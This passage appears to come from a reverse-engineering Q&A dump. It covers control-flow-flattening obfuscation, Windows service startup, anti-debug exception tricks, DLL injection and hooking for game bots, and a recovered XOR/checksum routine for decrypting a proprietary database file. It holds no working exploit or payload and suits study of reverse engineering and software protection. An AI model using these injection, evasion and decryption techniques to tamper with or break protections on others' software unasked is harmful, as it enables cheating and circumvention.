int gSDetETSDG119 = 1010545;\n    while (gSDetETSDG119 != 1010544)\n        {\n            switch (gSDetETSDG119) {\n              case 1010545:\n                {\n                    if (n <= 0) {\n                        gSDetETSDG119 = 1010546;\n                    } else {\n                        gSDetETSDG119 = 1010547;\n                    }\n                    break;\n                }\n              case 1010546:\n                {\n                    return (0.000000e+000);\n                    gSDetETSDG119 = 1010544;\n                    break;\n                }\n              case 1010547:\n                {\n                    gSDetETSDG119 = 1010544;\n                    break;\n                }\n            }\n        }\n}\nint gSDetETSDG118 = 1010541;\n    while (gSDetETSDG118 != 1010540)\n        {\n            switch (gSDetETSDG118) {\n              case 1010541:\n                {\n                    if (incx != 1 || incy != 1) {\n                        gSDetETSDG118 = 1010542;\n                    } else {\n                        gSDetETSDG118 = 1010543;\n                    }\n                    break;\n                }\n              case 1010542:\n                {\n                    {\n                        ix = 0;\n                        iy = 0;\n                        {\n                            int gSDetETSDG117 = 1010537;\n                            while (gSDetETSDG117 != 1010536)\n                                {\n                                    switch (gSDetETSDG117) {\n                                      case 1010537:\n                                        {\n                                            if (incx < 0) {\n                                                gSDetETSDG117 = 1010538;\n                                            } else {\n                                                gSDetETSDG117 = 1010539;\n                                            }\n                                            break;\n                                        }\n                                      case 1010538:\n                                        {\n                                            ix = (-n + 1) * incx;\n                                            gSDetETSDG117 = 1010536;\n                                            break;\n                                        }\n                                      case 1010539:\n                                        {\n                                            gSDetETSDG117 = 1010536;\n                                            break;\n                                        }\n                                    }\n                                }\n                        }\n                        {\n                            int gSDetETSDG116 = 1010533;\n                            while (gSDetETSDG116 != 1010532)\n                                {\n                                    switch (gSDetETSDG116) {\n                                      case 1010533:\n                                        {\n                                            if (incy < 0) {\n                                                gSDetETSDG116 = 1010534;\n                                            } else {\n                                                gSDetETSDG116 = 1010535;\n                                            }\n                                            break;\n                                        }\n                                      case 1010534:\n                                        {\n                                            iy = (-n + 1) * incy;\n                                            gSDetETSDG116 = 1010532;\n                                            break;\n                                        }\n                                      case 1010535:\n                                        {\n                                            gSDetETSDG116 = 1010532;\n                                            break;\n                                        }\n                                    }\n                                }\n                        }\n                        {\n                            i = 0;\n                            {\n                                int gSDetETSDG110 = 1010510;\n                                while (gSDetETSDG110 != 1010509)\n                                    {\n                                        switch (gSDetETSDG110) {\n                                          case 1010510:\n\n{\n                                                {\n                                                    int gSDetETSDG115 = 1010529;\n                                                    while (gSDetETSDG115 != 1010528)\n                                                        {\n                                                            switch (gSDetETSDG115) {\n                                                              case 1010529:\n                                                                {\n                                                                    if (i < n) {\n                                                                        gSDetETSDG115 = 1010530;\n                                                                    } else {\n                                                                        gSDetETSDG115 = 1010531;\n                                                                    }\n                                                                    break;\n                                                                }\n                                                              case 1010530:\n                                                                {\n                                                                    gSDetETSDG110 = 1010511;\n                                                                    gSDetETSDG115 = 1010528;\n                                                                    break;\n                                                                }\n                                                              case 1010531:\n                                                                {\n                                                                    gSDetETSDG110 = 1010509;\n                                                                    gSDetETSDG115 = 1010528;\n                                                                    break;\n                                                                }\n                                                            }\n                                                        }\n                                                }\n                                                break;\n                                            }\n                                          case 1010511:\n                                            {\n                                                {\n                                                    dtemp = dtemp + dx[ix] * dy[iy];\n                                                    ix = ix + incx;\n                                                    iy = iy + incy;\n                                                }\n                                              eTDGEyDg246:\n                                                {\n                                                    i++;\n                                                }\n                                              eTDGEyDg251:\n                                                {\n                                                    ;\n                                                }\n                                                gSDetETSDG110 = 1010510;\n                                                break;\n                                            }\n                                        }\n                                    }\n                              eTDGEyDg252:\n                                {\n                                    ;\n                                }\n                            }\n                        }\n                        return (dtemp);\n                    }\n                    gSDetETSDG118 = 1010540;\n                    break;\n                }\n              case 1010543:\n                {\n                    gSDetETSDG118 = 1010540;\n                    break;\n                }\n            }\n        }\n}\n
\n

This technique involves transforming the control flow of a program in a way that makes it more difficult to trace\\debug, while still preserving the same logic of the original program.

\n

There are a number of different ways that control flow flattening can be implemented, but the basic idea is to take the control flow of the program and transform it into a series of nested if-then-else\\while\\switch statements.

\n

This can be done by replacing all of the branches in the original code with conditional statements, and then nesting these statements so that the overall control flow becomes much more complex.

\n

To avoid automatic code simplification and folding we can use opaque predicates technique with known conditions.

\n

One of the biggest benefits of control flow flattening is that it can make it much more difficult for an attacker to understand the code and figure out how it works. This can be especially useful for protecting against reverse engineering and tampering attacks, as it can make it much more difficult for an attacker to modify the code or to understand its internal logic

\n" }, { "Id": "2223", "CreationDate": "2013-06-10T16:04:42.910", "Body": "

I am making a system in which the users can create Android applications. I want them to give an option to download a debug apk so that they can try it out first. After that, they have to pay for it to get the apk in release mode, so that it can be distributed in the Google Play Store.

\n\n

I of course don't want them to be able to reverse-engineer the debug apk so that they can extract the needed files from it and then sign it themselves. Hence my question:

\n\n

Is it possible to reverse engineer a debug apk to extract the classes and everything needed to build it in release mode?

\n\n

If so, would there be any way to secure the debug versions so that it isn't possible anymore?

\n", "Title": "Can a debug-apk be reverse engineered to make it a release-apk?", "Tags": "|decompilation|unpacking|android|copy-protection|apk|", "Answer": "

The difference between a debug apk and a release apk is that a debug apk is signed by a particular key which is provided with the SDK, whereas a release apk is signed by some other key. There's nothing to reverse engineer: all you have to do to make a release apk and sign it.

\n\n

Nobody but you can create an apk signed by you. But anyone can make their own release apk by signing them.

\n\n

A solution in your case would be to produce a binary including some DRM and refuse to run except on your customer's pre-registered device. How to implement such DRM, especially while letting your customer debug his applications, is left as an exercise to the reader.

\n" }, { "Id": "2228", "CreationDate": "2013-06-11T03:13:30.460", "Body": "

When I execute a program using IDA's debugger interface, I would like to see the basic blocks that were executed highlighted in the IDB. Is there a way to do this?

\n", "Title": "Highlight Executed Basic Blocks in IDA", "Tags": "|ida|", "Answer": "

Process Stalker is designed to do exactly what you want.

\n\n

\"Snippet

\n\n

Sample usage: https://www.openrce.org/articles/full_view/12

\n\n

PowerPoint slides: http://2005.recon.cx/recon2005/papers/Pedram_Amini/process_stalking-recon05.pdf

\n" }, { "Id": "2232", "CreationDate": "2013-06-11T18:24:18.107", "Body": "

I have the following data:

\n\n
.data:004305FC word_4305FC     dw 1583h                \n.data:004305FC                                         \n.data:004305FE word_4305FE     dw 35B6h                \n.data:00430600                 dw 6835h\n.data:00430602                 dw 6553h\n.data:00430604                 dw 6351h\n.data:00430606                 dw 23F5h\n.data:00430608                 dw 6845h\n.data:0043060A                 dw 6344h\n.data:0043060C                 dw 6823h\n.data:0043060E                 dw 2342h\n.data:00430610                 dw 2474h\n...\n
\n\n

In addition, I have the following disassembly of the code accessing the data:

\n\n
...\nmov     eax, [ebp+Variable_1]\nxor     ecx, ecx\nmov     cx, word_4305FE[eax*2]\n...\nmov     eax, [ebp+Variable_1]\nxor     edx, edx\nmov     dx, word_4305FC[eax*2]\n...\n
\n\n

It looks like array within another array. Am I correct? If not, what do you think the data structure is? If it is a single array, why is it been accessed through 2 different \"heads\" word_4305fc and word_4305FE?

\n\n

Thank you.

\n\n

ADDED:

\n\n

The following is in response to the comments below. Thank you, guys, so much for your input! I really do appreciate it and RE community in general. I feel as if my question needs certain clarification. I do realize that this is an array. I also clearly see that Variable_1 is an index to the array. In addition, I can see iteration. However, it is not my question. What I am really looking for is clarification or possibly an explanation. How would I be able to distinguish if this array is indeed more complex data type? Why did compiler choose to refer to this data type with 2 different angles: using 2 global variables both word_4305fc and word_4305FE? Is there a specific reason for it? Is it an indication of more complex data type?

\n", "Title": "What type of data structure is it?", "Tags": "|disassembly|assembly|ida|struct|", "Answer": "

As Dcoder indicated, an array of short data types begins at the lower address, and the increment of the base of the array by 2 corresponds to adding 1 to the index. Consider the following C code:

\n\n
short array[256];\n\n// ...\ncx = array[variable_1+1];\n// ...\n\n// ...\ndx = array[variable_1];\n// ...\n
\n\n

Consider the choices that the compiler has in compiling these snippets of code. It could produce code like this:

\n\n
mov eax, [ebp+Variable_1]\nxor ecx, ecx\nmov cx, word_4305FC[eax*2+2] ; note the +2 and the -FC address\n
\n\n

Or maybe:

\n\n
mov eax, [ebp+Variable_1]\ninc eax ; note this\nxor ecx, ecx\nmov cx, word_4305FC[eax*2] ; note the -FC address\n
\n\n

Or, in the case of what you posted, this is an equivalent code sequence:

\n\n
mov eax, [ebp+Variable_1]\nxor ecx, ecx\nmov cx, word_4305FE[eax*2] ; note the -FE address\n
\n\n

What the compiler did was to eliminate the \"+2\" in the address displacement, or the \"inc eax\" in the index computation, and replaced it by adding 1*sizeof(short) to the address of the array. This allows for a more optimized computation that does not have any increments taking place at runtime.

\n" }, { "Id": "2235", "CreationDate": "2013-06-11T22:01:06.090", "Body": "

I'm trying to work out the internals of how a Windows process starts and maintains communication with services.exe. This is on Windows 8 x64, but if you have tips for Windows 7 that is fine too.

\n\n

So far I figure out services.exe does something approximately like this:

\n\n
PROCESS_INFORMATION     pi;\n    TCHAR                   szExe[] = _T(\"C:\\\\Program Files\\\\TestProgram\\\\myWindowsService.exe\");\n    PROCESS_INFORMATION process_information = {0};\n    HKEY hOpen;\n    DWORD dwNumber = 0;\n    DWORD dwType = REG_DWORD;  \n    DWORD dwSize = sizeof(DWORD);\n    STARTUPINFOEX startup_info;\n    SIZE_T attribute_list_size = 0;\n\n    ZeroMemory(&startup_info, sizeof(STARTUPINFOEX));\n\n    // can see EXTENDED_STARTUPINFO_PRESENT is used, but couldn't figure out if any/what attributes are added\n    BOOL status = InitializeProcThreadAttributeList(nullptr, 0, 0, &attribute_list_size);\n    PPROC_THREAD_ATTRIBUTE_LIST attribute_list = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attribute_list_size);\n\n    startup_info.StartupInfo.cb = sizeof(STARTUPINFOEX);\n    startup_info.lpAttributeList = attribute_list;\n    startup_info.StartupInfo.dwFlags = STARTF_FORCEOFFFEEDBACK;\n    startup_info.StartupInfo.wShowWindow= SW_HIDE;\n\n        if(CreateProcess(\n            NULL,\n            szExe,\n            NULL,\n            NULL, \n            FALSE,\n            CREATE_SUSPENDED | \n            CREATE_UNICODE_ENVIRONMENT | \n            DETACHED_PROCESS | \n            EXTENDED_STARTUPINFO_PRESENT,\n            NULL,\n            NULL, \n            &startup_info.StartupInfo, \n            &pi))\n    {\n        HANDLE hEvent;\n        hEvent=CreateEvent(NULL,FALSE,FALSE,NULL); // I traced this call during service sstartup; no idea what purpose it serves?\n\n        ResumeThread(pi.hThread);\n
\n\n

Now my question is, how does the actual \"Start\" get communicated to the service? I know the service itself does something like this:

\n\n
    \n
  1. main entry point (\u00e0 la console program)
    2. \n
  2. Call advapi!StartServiceCtrlDispatcher
    3. \n
  3. Goes to sechost!StartServiceCtrlDispatcher
    4. \n
  4. This jumps into sechost!QueryServiceDynamicInformation
    5. \n
\n\n

I'm trying to figure out what method in services.exe is used to hook into this start process. Ideally I want to be able to write a PoC code that can \"launch\" a simple Windows service and get it to start, without it being registered as a Windows Service, i.e. wrapped inside a \"stand alone service control manager\". I'm looking for some tips of what best to look for next.

\n\n

There is also a reference to services.exe in \\\\pipe\\ntsvcs. The Wikipedia article about SCM refers to \\Pipe\\Net\\NtControlPipeX being created, but as far as I can tell, that is in Windows 2000 (maybe XP) but I can't see this happening on Windows 8.

\n", "Title": "How does services.exe trigger the start of a service?", "Tags": "|windows|", "Answer": "

This is my basic understanding of how Windows service works. I have used it with Windows XP and Windows 7. These are general concepts anyways.

\n\n

Any service requires three things to be present:

\n\n
    \n
  1. A Main Entry Point
    2. \n
  2. A Service Entry Point
    3. \n
  3. A Service Control Handler
    4. \n
\n\n

You are absolutely right. In the Main Entry Point service must call StartServiceCtrlDispatcher(const SERVICE_TABLE_ENTRY *lpServiceTable) providing Service Control Manager with filled in SERVICE_TABLE_ENTRY, which is (per MSDN):

\n\n
typedef struct _SERVICE_TABLE_ENTRY {\n    LPTSTR                  lpServiceName;\n    LPSERVICE_MAIN_FUNCTION lpServiceProc;\n} SERVICE_TABLE_ENTRY, *LPSERVICE_TABLE_ENTRY;\n
\n\n

As you can see, there are two things which are required to be supplied in SERVICE_TABLE_ENTRY structure. Those are pointer to name of the service, and pointer to service main function. Right after service registration, Service Control Manager calls Service Main function, which is also called ServiceMain or Service Entry Point. Service Control Manager expects that following tasks are performed by Service Entry Point:

\n\n
    \n
  1. Register the service control handler.
    2. \n
  2. Set Service Status
    3. \n
  3. Perform necessary initialization (creating events, mutex, etc)
    4. \n
\n\n

Service Control Handler is a callback function with the following definition: VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode)(MSDN). It is expected to handle service STOP, PAUSE, CONTINUE, and SHUTDOWN. It is imperative that each service has a handler to handle requests from the SCM. Service control handler is registered with RegisterServiceCtrlHandlerEx()(MSDN), which returns SERVICE_STATUS_HANDLE. Service uses the handle to communicate to the SCM. The control handler must also return within 30 seconds. If it does not happen the SCM will return an error stating that the service is unresponsive. This is due to the fact that the handler is called out of the SCM and will freeze the SCM until it returns from the handler. Only then, service may use SetServiceStatus()(MSDN) function along with service status handle to communicate back to the SCM.

\n\n

You don't communicate \"Start\" to a service. Whenever a service loads, it loads in the \"started\" state. It is service's responsibility to report its state to the SCM. You can PAUSE it or CONTINUE (plus about dozen more control codes). You communicate it to the SCM by using ControlService()(MSDN) function. The SCM in turn relays the control code (e.g. SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_CONTINUE or any other one) through to the service using registered service control handler function. Afterwards, it is the services responsibility to act upon received control code.

\n\n

I don't think services.exe executes or runs threads behind actual services. It is the SCM itself. I take it coordinates services in general. Each service \"lives\" in svchost.exe instance. Taking mentioned above into account, I could assume that Service Entry Point or Service Main is executed in the context of instance of the svchost.exe. In its turn, svchost.exe executes Service Main in context of main thread, blocking main thread until Service Main exists signaling that the service exited.

\n\n

If you are thinking to create your own service control manager, there is no need to reverse engineer how services.exe does it. You can do it your own way and anyway that you like it :)

\n\n

I hope it helps.

\n\n

ADDED:

\n\n

As Mick commented below, services.exe is the Service Control Manager itself.

\n\n

If you are creating your own service wrapper to run existing serivce executables outside of the SCM, you will have to adhere to above mentioned service quidelines and requirements. The fist requirement is for the service to get itself registered with the SCM and provide Service Main Entry Point, which is done by calling StartServiceCtrlDispatcher(). It will get you the entry point to Service Main. Afterwards, you should expect the Service Main to call RegisterServiceCtrlHandler() and SetServiceStatus(). Since RegisterServiceCtrlHandler() runs in context of Service Main and blocks Service Main thread, it should be handled properly as well. In addition, you should think of a way to control/monitor the service worker thread(s) by \"watching\" for CreatThread()(MSDN) within Service Main.

\n" }, { "Id": "2238", "CreationDate": "2013-06-12T03:12:40.930", "Body": "

I came across some malware that raised an exception while I was single stepping through it. IDA gives me the option to pass the exception to the application or not. What exactly is going on here? When would I not want to pass the exception to the application?

\n", "Title": "How to handle exceptions in a debugger when reversing malware?", "Tags": "|malware|debuggers|", "Answer": "

Often times malware and/or obfuscated code (such as unpacking stubs) will do something such as the following:

\n\n
    \n
  1. Set up an exception handler.
    2. \n
  2. Throw an exception.
    3. \n
  3. See if the exception handler caught the exception.
    4. \n
\n\n

If the exception handler didn't catch the exception then the debugged code knows that a debugger was attached and \"swallowed\" the exception, thus indicating that the code is being debugged. In order to hide your debugger from such detection techniques, you always want to pass exceptions to the application when dealing with malware and/or obfuscated code.

\n" }, { "Id": "2241", "CreationDate": "2013-06-12T16:04:52.383", "Body": "

Long time ago I noticed that using

\n
\n

set follow-fork-mode child

\n
\n

in GDB on FreeBSD doesn't really work.\nThis problem occurs very often with some challenges on various Capture The Flag contests.\nFor example, a server will spawn a child which would handle the connection.\nThe child code has a vulnerability which I would like to debug, but gdb just never follows\nthe childs execution and I can't really observe the vulnerability being triggered.

\n

So far, I've solved this problem in two ways:

\n
    \n

  1. Making a connection, waiting for a child to spawn and than attaching GDB to it.

    \n

    This works since the spawned child has it's own PID to which I can attach, but is rather painful since first I have to make a connection from one session, attach with GDB in another, and then send the payload/continue the connection in the first.

    \n
    2. \n

  2. Patching the binary after the fork call to continue the execution in the parent process instead of the child.

    \n

    This is also painful since then I have to restart the whole parent process to create another debugging session.

    \n
    3. \n
\n

There are some other tricks that can be employed, but these are enough to illustrate my point.

\n

Now I know there have been some limitations on FreeBSD in the past regarding this but has anything improved?

\n

Is there any way to patch GDB to add this functionality? Any suggestions for an easier way of overcoming this?

\n", "Title": "gdb on FreeBSD and follow-fork-mode child", "Tags": "|gdb|exploit|debugging|multi-process|", "Answer": "

I was digging a bit into this, and found this question on SO by mrduclaw (link in the original article is dead, but web archive has it). He has the exact same problem like I do, and exactly the same motivation for finding a solution.

\n\n

So I was digging around some more and it turns out freebsd until recently didn't have support for forks in it's ptrace. There was a patch submitted but I can't really figure out if it's applied. Will try to apply it myself and see if it will start working then.

\n" }, { "Id": "2242", "CreationDate": "2013-06-12T17:12:41.647", "Body": "

I wrote a simple IDA plugin that, after a function call, looks for mov MEM_LOCATION eax and adds a name for the memory where the return value is stored. I limit my search to only a few instructions after the function call and bail out if I see another call before the return value is stored. Is there a more rigorous way to track where the return value goes besides these heuristics?

\n", "Title": "Tracking What Is Done With a Function's Return Value", "Tags": "|ida|", "Answer": "

In the static context, this is known as \"data flow analysis\". For example, Hex-Rays incorporates the return-location information for function calls into its representation of the function so as to determine into which other locations that data flows. You don't give a lot of detail on what you want to do with this information, but off the top of my head I'd say it could be worthwhile to investigate writing a Hex-Rays plugin.

\n" }, { "Id": "2252", "CreationDate": "2013-06-14T15:07:25.390", "Body": "

I was reading a discussion about dumping a processes part of a process's memory and someone suggested using DLL injection to do this. I'll be honest in that I don't really understand. How does DLL injection work and what kinds of reversing tasks can you do with it?

\n", "Title": "What is DLL Injection and how is it used for reversing?", "Tags": "|dll|dll-injection|", "Answer": "

DCoder's answer is a good one. To expand somewhat, I most often use DLL injection in the context of forcing an existing process to load a DLL through CreateRemoteThread. From there, the entrypoint of the DLL will be executed by the operating system once it is loaded. In the entrypoint, I will then invoke a routine that performs in-memory patching of all of the locations within the original binary that interest me, and redirects their execution into my DLL via a variety of modifications. If I am interested in modifying or observing the process' interaction with some imported function, then I will overwrite the IAT (Import Address Table) entry for that function and replace it with a pointer to something that I control. If I want to do the same with respect to some function that exists within the binary, I will make some sort of detours-style patch at the beginning of the function. I can even do very surgical and targeted hooks at arbitrary locations, akin to old-school byte patching. My DLL does its business within the individual hooks, and then is programmed to redirect control back to the original process.

\n\n

DLL injection provides a platform for manipulating the execution of a running process. It's very commonly used for logging information while reverse engineering. For example, you can hook the IAT entry for a given imported operating system library function, and then log the function arguments onto disk. This provides you a data source that can assist in rapidly reverse engineering the target.

\n\n

DLL injection is not limited to logging, though. Given the fact that you have free reign to execute whatever code that you want within the process' address space, you can modify the program in any way that you choose. This technique is frequently used within the game hacking world to code bots.

\n\n

Anything that you could do with byte patching, you can do with DLL injection. Except DLL injection will probably be easier and faster, because you get to code your patches in C instead of assembly language and do not have to labor over making manual modifications to the binary and its PE structure, finding code caves, etc. DLL injection almost entirely eliminates the need for using assembly language while making modifications to a binary; the only assembly language needed will be small pieces of code nearby the entrance and exit to a particular hook to save and restore the values of registers / the flags. It also makes binary modification fast and simple, and does not alter cryptographic signatures of the executable that you are patching. (The comment about cryptographic signatures applies to the executable on disk, not in memory; of course, altering the contents in memory would affect a cryptographic signature computed on the altered memory contents.)

\n\n

DLL injection can be employed to solve highly non-trivial reverse engineering problems. The following example is necessarily vague in some respects because of non-disclosure agreements.

\n\n

I had a recurring interest in a program that was updated very frequently (sometimes multiple times daily). The program had a number of sections in it that were encrypted on disk after compilation time and had to be decrypted at run-time. The software included a kernel module which performed the run-time encryption/decryption. To request encryption or decryption of a given section, the program shipped with a DLL that exported a function which took as arguments the number of the section and a Boolean that indicated whether the section should be encrypted or decrypted. All of the components were digitally signed.

\n\n

I employed a DLL injection-based solution that worked as follows:

\n\n\n\n

Initially I was doing all of this by hand for each new build. That was way too tedious. One I coded the DLL injection version, I never had to undertake that substantial and manual work ever again.

\n\n

DLL injection is not widely known or used within reverse engineering outside of game hacking. This is very unfortunate, because it is an extremely powerful, flexible, and simple technique that should be part of everyone's repertoire. I have used it dozens of times and it seems to find a role in all of my dynamic projects. The moment my task becomes too cumbersome to do with a debugger script, I switch to DLL injection.

\n\n

In the spectrum of reverse engineering techniques, every capability of DLL injection is offered by dynamic binary instrumentation (DBI) tools as well, and DBI is yet more powerful still. However, DBI is not stealthy and incurs a serious overhead in terms of memory consumption and possibly performance. I always try to use DLL injection before switching to DBI.

\n" }, { "Id": "2260", "CreationDate": "2013-06-15T15:45:41.703", "Body": "

I want to open finnish sports league \"data file\" used for bookkeeping. It includes all statistics for few decade, so it's interesting data file.

\n\n

The file is here: http://www.bittilahde.fi/Tietokanta.dat (Database.dat in english)

\n\n

The book keeping program is here: http://www.pesistulokset.fi/Kirjaus504.exe

\n\n

What I've found out:

\n\n\n\n

What could be the next step?

\n", "Title": "Reverse engineering compressed file, where to start?", "Tags": "|file-format|", "Answer": "

Looking at it in OllyDbg it looks like a heavy task. Looks like a custom database with encrypted and (custom?) compressed data. This or the like would usually be the case in such applications. A flat file with structured data is not part of this one.

\n

Anyhow. As a starter:

\n

A quick check after trying out some general compression tools like 7z or binwalk, (have not tested it), can be to use ProcMon from Sysinternals. Start ProcMon, then your application and set filter on the application in ProcMon. You quickly find that:

\n

In short it reads in chunks of varying size, but for main data processing it reads chunks of 16384 bytes. The process in steps:

\n
    \n
  1. Generate seed map of 256 integers. (Done once at application start.)
    2. \n
  2. Loop:
    \n2.1 Read 16384 bytes into buffer from .dat file.
    \n2.2 XOR routine on buffer using offset and last four bytes of buffer as base.
    \n2.3 Checksum on XOR'ed buffer using seed map from step 1.
    \n2.4 Parse buffer and read out data.
    3. \n
\n

The application also reads same chunks multiple times.

\n
\n

2.1:

\n

Example:

\n
013D0010  D4 9E BE BF 1C 1C 0B D4 C5 E7 11 B5 09 48 87 FA  \u00d4\u017e\u00be\u00bf\u00d4\u00c5\u00e7\u00b5.H\u2021\u00fa\n013D0020  29 4C 03 C9 DE 4A 2B 71 74 7F D2 48 E7 13 94 4E  )L\u00c9\u00deJ+qt\u00d2H\u00e7\u201dN\n...\n013D3FF0  6A D1 55 92 E2 16 60 53 69 89 86 7D D9 D8 10 BC  j\u00d1U\u2019\u00e2`Si\u2030\u2020}\u00d9\u00d8\u00bc\n013D4000  90 F3 D1 48 28 47 34 EC 39 36 EC 4D 69 2A 7D E5  \u00f3\u00d1H(G4\u00ec96\u00ecMi*}\u00e5\n                                             |_____._____|\n                                                   | \n                         Last DWORD aka checksum --+\n
\n
\n

Steps and details in order of discovery:

\n

Split the .dat file in chunks of 16384 bytes and also generate a hex-dump of each file for easy search and comparison. To be honest I use Linux for this part with dd, xxd -ps, grep, diff etc.

\n

Start OllyDbg, open the application, locate CreateFile and set breakpoint:

\n
00401220   $-FF25 18825000  JMP DWORD PTR DS:[<&kernel32.CreateFileA>;  kernel32.CreateFileA\n
\n

Press F9 until filename (in EAX) is .dat file. Set/enable breakpoint on ReadFile. F9 and when read is done start stepping and looking at what is done.

\n
\n

Looking at it:

\n

2.2:

\n

After read it first modify the buffer by using offset as "magic" starting at:

\n
0045F5EC  /$ 53   PUSH EBX     ;  ALGO 2: XOR algorithm - post file read.\n...\n0045F6B6  \\. C3   RETN         ;  ALGO 2: RETN\n
\n

At least two of the actions taken seems to be libj_randl1() and libj_randl2(). (This would be step 2.2 in list above.)

\n

Simplified:

\n
edx = memory address of buffer\necx = offset / 0x4000\nedi = edx\nebx = ecx * 0x9b9\nesi = last dword of buffer & 0x7fffffff\necx = 0\n\ni = 0;\nwhile (i < 0x3ffc) { /* size of buffer - 4 */\n    manipulate buffer\n}\n
\n

The whole routine translated to C code:

\n\n
int xor_buf(uint8_t *buf, long offset, long buf_size)\n{\n    int32_t eax;\n    int32_t ebx;\n    int32_t esi;\n    long i;\n\n    buf_size -= 4;\n\n    ebx = (offset / 0x4000) * 0x9b9;\n    /* Intel int 32 */\n    esi = (\n        (buf[buf_size + 3] << 24) |\n        (buf[buf_size + 2] << 16) |\n        (buf[buf_size + 1] <<  8) |\n         buf[buf_size + 0]\n        ) & 0x7fffffff;\n\n    for (i = 0; i < buf_size /*0x3ffc*/; ++i) {\n        /* libj_randl2(sn) Ref. link above. */\n        ebx = ((ebx % 0x0d1a4) * 0x9c4e) - ((ebx / 0x0d1a4) * 0x2fb3);\n\n        if (ebx < 0) {\n            ebx += 0x7fffffab;\n        }\n\n        /* libj_randl1(sn) Ref. link above. */\n        esi = ((esi % 0x0ce26) * 0x9ef4) - ((esi / 0x0ce26) * 0x0ecf);\n\n        if (esi < 0) {\n            esi += 0x7fffff07;\n        }\n\n        eax = ebx - 0x7fffffab + esi;\n\n        if (eax < 1) {\n            eax += 0x7fffffaa;\n        }\n\n        /* Modify three next bytes. */    \n        buf[i] ^= (eax >> 0x03) & 0xff;\n\n        if (++i <= buf_size) {\n            buf[i] ^= (eax >> 0x0d) & 0xff;\n        }\n        if (++i <= buf_size) {\n            buf[i] ^= (eax >> 0x17) & 0xff;\n        }\n    }\n\n    return 0;\n}\n
\n
\n

Then a checksum is generated of the resulting buffer, (minus last dword), and checked against last dword. Here it uses a buffer from BSS segment that is generated upon startup, step 1. from list above. (Offset 0x00505000 + 0x894 and using a region of 4 * 0x100 as it is 256 32 bit integers). This seed map seems to be constant (never re-generated / changed) and can be skipped if one do not want to validate the buffer.

\n

1.

\n

Code point in disassembly (Comments mine.):

\n
0045E614 . 53   PUSH EBX           ;  ALGO 1: GENERATE CHECKSUM MAGICK BSS\n...\n0045E672 . C3   RETN               ;  ALGO 1: RETN\n
\n

The code for the BSS numbers can simplified be written in C as e.g.:

\n\n
int eax;    /* INT NR 1, next generated number to save */\nint i, j;\n\nunsigned int bss[0x100] = {0};  /* offset 00505894 */\n\nfor (i = 0; i < 0x100; ++i) {\n    eax = i << 0x18;\n    for (j = 0; j < 8; ++j) {\n        if (eax & 0x80000000) {\n            eax = (eax + eax) ^ 0x4c11db7;\n        } else {\n            eax <<= 1;\n        }\n    }\n    bss[i] = eax;\n}\n
\n
\n

2.3:

\n

That bss int array is used on the manipulated buffer to generate a checksum that should be equal to the last integer in the 16384 bytes read from file. (Last dword, the one skipped in checksum routine and XOR'ing.). This would be step 2.3 in list above.

\n\n
unsigned char *buf = manipulated file buffer;\nunsigned char *bss = memory dump 0x00505894 - 0x00505C90, or from code above\n\neax = 0x13d0010;  /* Memory location for buffer. */\nedx = 0x3ffc;     /* Size of buffer - 4 bytes (checksum). */\n\n...\n
\n

At exit ecx is equal to checksum.

\n

Code point in disassembly (Comments mine.):

\n
0045E5A8  /$ 53  PUSH EBX    ;  ALGO 3: CALCULATE CHECKSUM AFTER ALGORITHM 2\n...\n0045E5E0  \\. C3  RETN        ;  ALGO 3: RETN (EAX=CHECKSUM == BUFFER LAST 4 BYTES)\n
\n

Shortened to a C routine it could be something like:

\n\n
int32_t checksum(int32_t map[0x100], uint8_t *buf, long len)\n{\n    int i;\n    int32_t k, cs = 0;\n\n    for (i = 0; i < len; ++i) {\n        k = (cs >> 0x18) & 0xff;\n        cs = map[buf[i] ^ k] ^ (cs << 0x08);\n    }\n\n    return cs;\n}\n
\n
\n

It is checked to be OK and then checksum in buffer is set as: two least significant bytes = 0, two most significant bytes are set to some number (chunk number in file or read number, (starting from 0)).

\n
0045F9BF   . C680 FC3F0000 >MOV BYTE PTR DS:[EAX+3FFC],0     ;  Set two lower bytes of checksum in dat buf to 0\n0045F9C6   . C680 FD3F0000 >MOV BYTE PTR DS:[EAX+3FFD],0     ;  follows previous\n0045F9CD   . 66:8B4D F8     MOV CX,WORD PTR SS:[EBP-8]       ;  Set CX to stack pointer value of addr EBP - 8 (counter of sorts)\n0045F9D1   . 66:8988 FE3F00>MOV WORD PTR DS:[EAX+3FFE],CX    ;  Set .dat buffer higher bytes like CX.\n
\n
\n

Now after all this is done the actual copying of data starts with even more algorithms. Here the real work starts. Identifying data types, structures, where and what etc. Found some routines that extracted names etc. But everything being Finnish didn't help on making it easier to grasp ;).

\n

The data above could be a start.

\n

Some breakpoints that might be of interest to begin with:

\n
Breakpoints\nAddress    Module     Active    Disassembly  Comment\n0045E5A8   Kirjaus5   Disabled  PUSH EBX     ALGO 3: CALCULATE CHECKSUM AFTER ALGORITHM 2\n0045E5E0   Kirjaus5   Disabled  RETN         ALGO 3: RETN (EAX=CHECKSUM == BUFFER LAST 4 BYTES)\n0045E614   Kirjaus5   Disabled  PUSH EBX     ALGO 1: GENERATE CHECKSUM MAGIC BSS\n0045E672   Kirjaus5   Disabled  RETN         ALGO 1: RETN\n0045F5EC   Kirjaus5   Disabled  PUSH EBX     ALGO 2: FILE POST XOR READ ALGORITHM\n0045F6B6   Kirjaus5   Disabled  RETN         ALGO 2: RETN\n
\n
\n

Some notes:

\n

Keep a backup of the .dat file you are working with. If you abort the application the file often gets corrupted as it, as noted by @blabb, write data back to file. The .dat file also seem to be live so a new download of it would result in different data.

\n" }, { "Id": "2262", "CreationDate": "2013-06-15T22:58:17.680", "Body": "

In this question on DLL injection multiple answers mention that DLL injection can be used to modify games, perhaps for the purposes of writing a bot. It seems desirable to be able to detect DLL injection to prevent this from happening. Is this possible?

\n", "Title": "How can DLL injection be detected?", "Tags": "|dll|dll-injection|", "Answer": "

There are multiple ways that you can use which might work (and see below for the reasons why they might not). Here are two:

\n\n\n\n

Other than that, you can periodically enumerate the DLL name list, but all of these techniques can be defeated by a determined attacker (debugging can be stopped temporarily; thread notification can be switched off; the injected DLL might not remain loaded long enough because it might use dynamically-allocated memory to host itself and then unload the file, etc).

\n" }, { "Id": "2266", "CreationDate": "2013-06-16T13:59:56.810", "Body": "

This is similar in nature to this question and this question; I'm interested in what compiler settings to enabled/disable to make a Visual C++ harder to reverse engineer.

\n\n

Here's a few compiler flags I've already got which I believe should be set:
